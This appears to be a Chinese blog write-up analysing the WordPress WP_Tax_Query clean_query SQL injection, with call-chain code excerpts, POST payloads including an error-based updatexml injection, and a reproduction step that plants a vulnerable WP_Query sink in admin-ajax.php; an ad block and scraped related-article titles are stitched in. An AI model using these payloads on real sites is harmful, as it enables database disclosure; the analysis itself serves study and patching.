一、漏洞描述

WordPress是一个用PHP编写的免费开源内容管理系统,由于clean_query函数的校验不当,导致了可能通过插件或主题以某种方式从而触发SQL注入的情况。这已经在WordPress5.8.3中进行了修复。影响版本可以追溯到3.7.37

二、漏洞分析

在分析整个漏洞之前,首先可以看一下如果想要触发该漏洞,漏洞代码应该是什么样子的。

new WP_Query($_POST['query_vars'])

这也就是说,传入WP_Query的参数如果可控的话,就可以利用该漏洞。接下来我们看看整个漏洞的利用调用链:

WP_Query::__construct
WP_Query::query
WP_Query::get_posts
WP_Tax_Query::get_sql
WP_Tax_Query::get_sql_clauses
WP_Tax_Query::get_sql_for_query
WP_Tax_Query::get_sql_for_clause
WP_Tax_Query::clean_query

根据官方的修复代码,最后的漏洞点位于WP_Tax_Queryclean_query方法:

【一>所有资源获取<一】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记

根据漏洞的描述,我们知道的是WP_Tax_Query::clean_query函数对变量没有做严格的校验,最终导致了SQL语句的拼接,进而导致了SQL注入漏洞。

通过上下文的分析,我们将注意放置在WP_Tax_Query::get_sql_for_clause这个函数上面,这也是整个漏洞利用调用链中的一个函数;在这个函数中,使用到了clean_query方法对传入的参数进行了校验过滤处理:

继续查看该方法下面的代码,我们可以知道items变量最终拼接到了SQL语句中。

该漏洞最终需要利用的就是这个items变量,如果能够控制这个变量的值的话,就可以导致注入。

知道了漏洞点的位置,现在我们正向去分析一下。首先我们知道漏洞代码是这个样子的:

new WP_Query($_POST['query_vars'])

跟进到WP_Query对象的构造方法,知道其调用了query方法。在WP_Query::query中,调用了wp_parse_args函数对输入的字符串进行了处理:

function wp_parse_args( $args, $defaults = array() ) {
if ( is_object( $args ) ) {
$parsed_args = get_object_vars( $args );
} elseif ( is_array( $args ) ) {
$parsed_args =& $args;
} else {
wp_parse_str( $args, $parsed_args );
}if ( is_array( $defaults ) && $defaults ) {
return array_merge( $defaults, $parsed_args );
}
return $parsed_args;
}

这里主要关注前面两个点,一个是如果传入的是一个对象的话,将其属性名和值取出来转变成数组;如果直接传入的是数组的话,也就是直接返回了。这里也就确定$this->query_vars$this->query变量可控了。

接下来调用get_posts方法,该方法的代码比较长,我们直接定位到利用链函数:

变量$this->is_singular初始化之后为false,所以这里的if语句是会执行的,而下面的$this->parse_tax_query($q)语句,跟进去,其实就是给变量$this->tax_query赋值,其值为WP_Tax_Query类对应的对象,同时利用传入的$q变量,对该对象进行了一些初始化。这里关键就是$q变量,我们向上追溯,查看一下该变量的生成过程:

$q = &$this->query_vars;
​
$q = $this->fill_query_vars( $q );

首先$q变量获取$this->query_vars,通过上面的分析,我们知道这个变量是可控的,也就是我们通过POST传入的参数值。接下来调用fill_query_vars方法,跟进去会发现这个函数就是向$q这个数组里面添加了一些key值。我们可以传入一个数组,然后var_dump出来看看:

接下来进入$this->parse_tax_query($q)这个函数看看。该函数就是通过传入的$q数组,然后赋值给$tax_query变量,然后利用该变量去初始化对象$this->tax_query = new WP_Tax_Query( $tax_query );,在parse_tax_query函数中,我们需要给$tax_query变量赋值,就需要传入的数组中带有tax_query这个关键词即可。我们跟进到这个类的构造函数去看看:(简单说明就是经过处理的$q变量的值作为了WP_Tax_Query对象的构造函数的参数值)

可以看到$this->queries变量的值是由$tax_query赋值得到的,只不过这里做了一些过滤,即调用了sanitize_query函数进行了处理。

到这里,我们就进入到了WP_Tax_Query类,并且我们可以控制传入这个类的构造函数的参数值。接下来看看这个构造函数中对传入的参数值做了哪些处理,也就是这个sanitize_query函数:(这里只截取关键部分了)

elseif ( self::is_first_order_clause( $query ) ) {
$cleaned_clause         = array_merge( $defaults, $query );
$cleaned_clause['terms'] = (array) $cleaned_clause['terms'];
$cleaned_query[]         = $cleaned_clause;
if ( ! empty( $cleaned_clause['taxonomy'] ) && 'NOT IN' !== $cleaned_clause['operator'] ) {
$taxonomy = $cleaned_clause['taxonomy'];
if ( ! isset( $this->queried_terms[ $taxonomy ] ) ) {
$this->queried_terms[ $taxonomy ] = array();
}
if ( ! empty( $cleaned_clause['terms'] ) && ! isset( $this->queried_terms[ $taxonomy ]['terms'] ) ) {
$this->queried_terms[ $taxonomy ]['terms'] = $cleaned_clause['terms'];
}
​
if ( ! empty( $cleaned_clause['field'] ) && ! isset( $this->queried_terms[ $taxonomy ]['field'] ) ) {
$this->queried_terms[ $taxonomy ]['field'] = $cleaned_clause['field'];
}
}
}

我们要进入到这个if语句,就需要通过is_first_order_clause函数:

protected static function is_first_order_clause( $query ) {
return is_array( $query ) && ( empty( $query ) || array_key_exists( 'terms', $query ) || array_key_exists( 'taxonomy', $query ) || array_key_exists( 'include_children', $query ) || array_key_exists( 'field', $query ) || array_key_exists( 'operator', $query ) );
}

这个函数比较简单,就是需要传入的数据通过foreach迭代之后,仍然是一个数组,也就是传入的需要是一个二维数组,并且需要携带一些key值。(加上前面的需要传入tax_query关键词,到这里就需要传入的是一个三维数组)

由于我们要控制terms的值,所以传入的terms也要是一个数组,也就是说如果要控制terms值,需要传入一个四维数组,例如如下POST数据:

query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=AND

我们在这里先分析一下这个POST的数据。首先需要一个tax_query,是为了能给$tax_query变量赋值,然后我这里加了一个1是为了构造多维数组,这样传入进去之后,到上面这个foreach取出来之后,就是一个数组,从而构造了$this->queries,并且由于我们需要控制terms值,$cleaned_clause['terms'] = (array) $cleaned_clause['terms'];表名我们需要传入一个数组来进行merge函数的拼接从而覆盖。传入以上数据之后,$this->queries的值为:

Array
(
[1] => Array
(
[include_children] => 1
[terms] => Array
(
[1] => AND
)
)
​
)

以上分析都是在初始化WP_Tax_Query这个对象。接下来继续向下分析,开始调用WP_Tax_Query::get_sql方法,然后调用了WP_Tax_Query::get_sql_clauses方法:

之后将$this->queries变量的值传入get_sql_for_query函数,我们继续跟进一下这个函数:

如果我们想要调用get_sql_for_clause方法的话,就需要对传入的数据进行一个控制,这里的关键在于is_array($clause)语句,也就是说,我们通过构造以后,这里需要传入一个二维数组,进而能够执行到这个条件里面并且需要满足is_first_order_clause函数,因此我们按照上面的构造方式是可以执行到这里的,并且这里的$clause的值为:

array(5) {
["taxonomy"]=>
string(0) ""
["terms"]=>
array(1) {
[1]=>
string(3) "AND"
}
["field"]=>
string(7) "term_id"
["operator"]=>
string(2) "IN"
["include_children"]=>
string(1) "1"
}

接下来就进入了get_sql_for_clause函数,也就是我们最终拼接SQL语句的地方,但在拼接之前,我们需要绕过clean_query函数,我们跟进这个函数看看:

这里为了不让他异常退出,我们需要添加一个field字段,让其值等于term_taxonomy_id即可,构造语句为:

action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=AND&query_vars[tax_query][1][field]=term_taxonomy_id

并且在函数的最后,调用了$this->transform_query( $query, 'term_taxonomy_id' );,我们跟进去,正好判定field的值,从而return,跳过了后面的执行操作:

接下来就是SQL语句的拼接了,根据我们构造的operator的不同值,没有构造的话就是IN了,进行不同的拼接操作,这里是IN,我们进入到这个if语句:

我们在terms处构造报错注入代码即可:

action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=AND&query_vars[tax_query][1][field]=term_taxonomy_id

前面的分析都是介绍如何一步一步执行到get_sql_for_clause这个函数,并且介绍了传入这个函数的变量是如何控制的。接下来就是该漏洞点主要的部分。

get_sql_for_clause这个函数中,调用了clean_query方法对我们构造的数据进行了一个清洗,然后取出其中的terms值,带入了SQL拼接语句中,payload如下:

query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=1) or updatexml(0x7e,concat(1,user()),0x7e)#&query_vars[tax_query][1][field]=term_taxonomy_id

三、漏洞复现

我这里将new WP_Query($_POST['query_vars'])语句放置到wp-admin\admin-ajax.php中:(在实际场景下,只要该处输入可控,即可造成SQL注入漏洞)

复现的时候开启一下debug即可看见报错注入(也可以进行盲注了);最后的构造语句为:(这里加上action参数是为了执行到目标代码)

action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=1) or updatexml(0x7e,concat(1,user()),0x7e)#&query_vars[tax_query][1][field]=term_taxonomy_id

四、修复方式

官网已经发布更新版本,或者按照官网的修复方式,自行添加代码。

网络安全:SQL 注入漏洞相关推荐

  1. /plus/recommend.php sql注入漏洞,代码审计:ThinkPHP框架通杀所有版本的一个SQL注入漏洞详细分析及测试方法 | Seay 渗透 编程 代码审计 网络安全博客...

    显示不全请点击全屏阅读 下面是摘自thinkphp官方的一个公告,官方直接贴出这些东西是非常不负责的行为,跟上次apache公开的Struts2的代码执行一样的行为,会造成很多用户被黑.建议类似的厂商 ...

  2. 【愚公系列】2023年05月 网络安全高级班 065.WEB渗透与安全(SQL注入漏洞-手工注入)

    文章目录 前言 一.SQL注入漏洞-手工注入 1.错误注入 2.布尔注入 2.1 通过`'or 1=1 --` 注入 2.2 通过`admin'or 1=1 --` 注入 3.联合注入 3.1 查看u ...

  3. SQL注入漏洞的检测与防范技术

    提 要   本文从SQL注入的基本概念和注入原理入手,分析总结了SQL注入漏洞的检测及其防范技术措施. 关键词  SQL注入漏洞 检测 防范技术 引 言    近几年来随着计算机网络和WEB技术的飞速 ...

  4. SQL注入(1)--判断是否存在SQL注入漏洞

    什么是SQL注入 不论是学习后端开发/数据库/网络安全,SQL注入安全隐患反复被提起 到底什么是SQL? 维基百科的定义: (1)什么是SQL? SQL是用来操控数据库的语言 (2)举一个例子,现在我 ...

  5. 白帽子发现美军网站SQL注入漏洞,可获取敏感数据

    去年有报道称,美军收购软件漏洞为网战准备.而美军自己的网站和服务器究竟又有多安全?一名独立安全研究者已经发现了美军网站的几个较为严重的安全漏洞. 安全专家称,这些漏洞说明了美国防部网络安全基础的脆弱性 ...

  6. 蓝雨设计整站SQL注入漏洞

    本来是投稿文章来的,因为稿件的问题所以就上不了杂志,再加上最近有些人在网站留言说三道四的猜测蓝雨的问题,所以我就公开漏洞预警所说的漏洞,官方已经把版本都打了补丁,当然有些使用网站至今还是存在着SQL注 ...

  7. SQL注入漏洞测试(参数加密)

    SQL注入漏洞测试(参数加密) <此WEB业务环境对参数进行了AES加密,为了防止参数产生SQL注入,也是防止SQL注入产生的一种方法,但是这种方式就安全了么?1.掌握信息泄露的方式:2.了解A ...

  8. Web安全之SQL注入漏洞学习(一)

    Web程序三层架构 三层架构主要是指将业务应用规划为的表示层 UI.数据访问层 DAL 以及业务逻辑层 BLL,其分层的核心任务是"高内聚低耦合"的实现.在软件体系架构设计中,分层 ...

  9. 网络安全--SQL注入介绍

    课程目标:讲解SQL注入的原理.特点.危害,SQL注入的攻击手法和MySQL注入的常用函数,讲解相关工具,如何去防御SQL注入. 任务目标:了解SQL注入相关概念,掌握SQL注入攻击手法,了解SQL注 ...

  10. 【某CMS漏洞】SQL注入漏洞分析

    前言 这个CMS非常适合入门代码审计的人去学习,因为代码简单且漏洞成因经典,对一些新手有学习价值, 前台注入 从入口开始:/semcms/Templete/default/Include/index. ...

最新文章

  1. 2019年中国人工智能产业研究报告
  2. 牛顿法求根号数(Python)
  3. boost::hana::pair_tag用法的测试程序
  4. ubuntu学习摘要-ubuntu root用户
  5. linux分区没有cde显示,HP unix无法进入CDE的排查步骤
  6. servlet中doPost()和doGet()
  7. Bailian3237 鸡兔同笼【入门】
  8. html 输入类型,HTML 输入类型(示例代码)
  9. 达内python就业班视频_达内python入门到精通全套视频教程
  10. js头像裁剪实现——canvas+Jcrop+jQuery
  11. 联想服务器万全T260G3系统,联想万全T260G3服务器电子教室更易管理
  12. 等差素数列(java)
  13. USB (二)硬件概念 以 STM32F4为例
  14. # Day8:类的方法、三大特征、装饰器、组合、多态、设计模式
  15. 口袋妖怪lets go服务器维护中,口袋妖怪lets go攻略 口袋妖怪lets go新手攻略(中)...
  16. 100条人生哲理语句
  17. 一键搭建Centos开发环境
  18. Arthas Web-Console一站式解决方案
  19. mysql 应用系统_MySQL应用
  20. @component的注解

热门文章

  1. 使用光学鼠标传感器实现旋转(或线性)测量(转)
  2. 黑马程序员-学习日记(单例设计模式的两种类型)
  3. 如何导出python所有的安装包
  4. 还担心学习AI没有数学基础吗?读完它们,你就有了!!!
  5. MFC控件(三)(进度条控件和滑块控件)
  6. OpenCV学习笔记__特征检测与匹配之 SURF算法(转)
  7. PYQT之- QObject与线程QThread的关系
  8. git push 到github配置(问题Pushing to Git returning Error Code 403 fatal: HTTP request failed)
  9. log4cpp乱码_log4cxx配置使用(一)
  10. spring-kafka广播模式配置_交换机为什么要划分vlan?交换机如何配置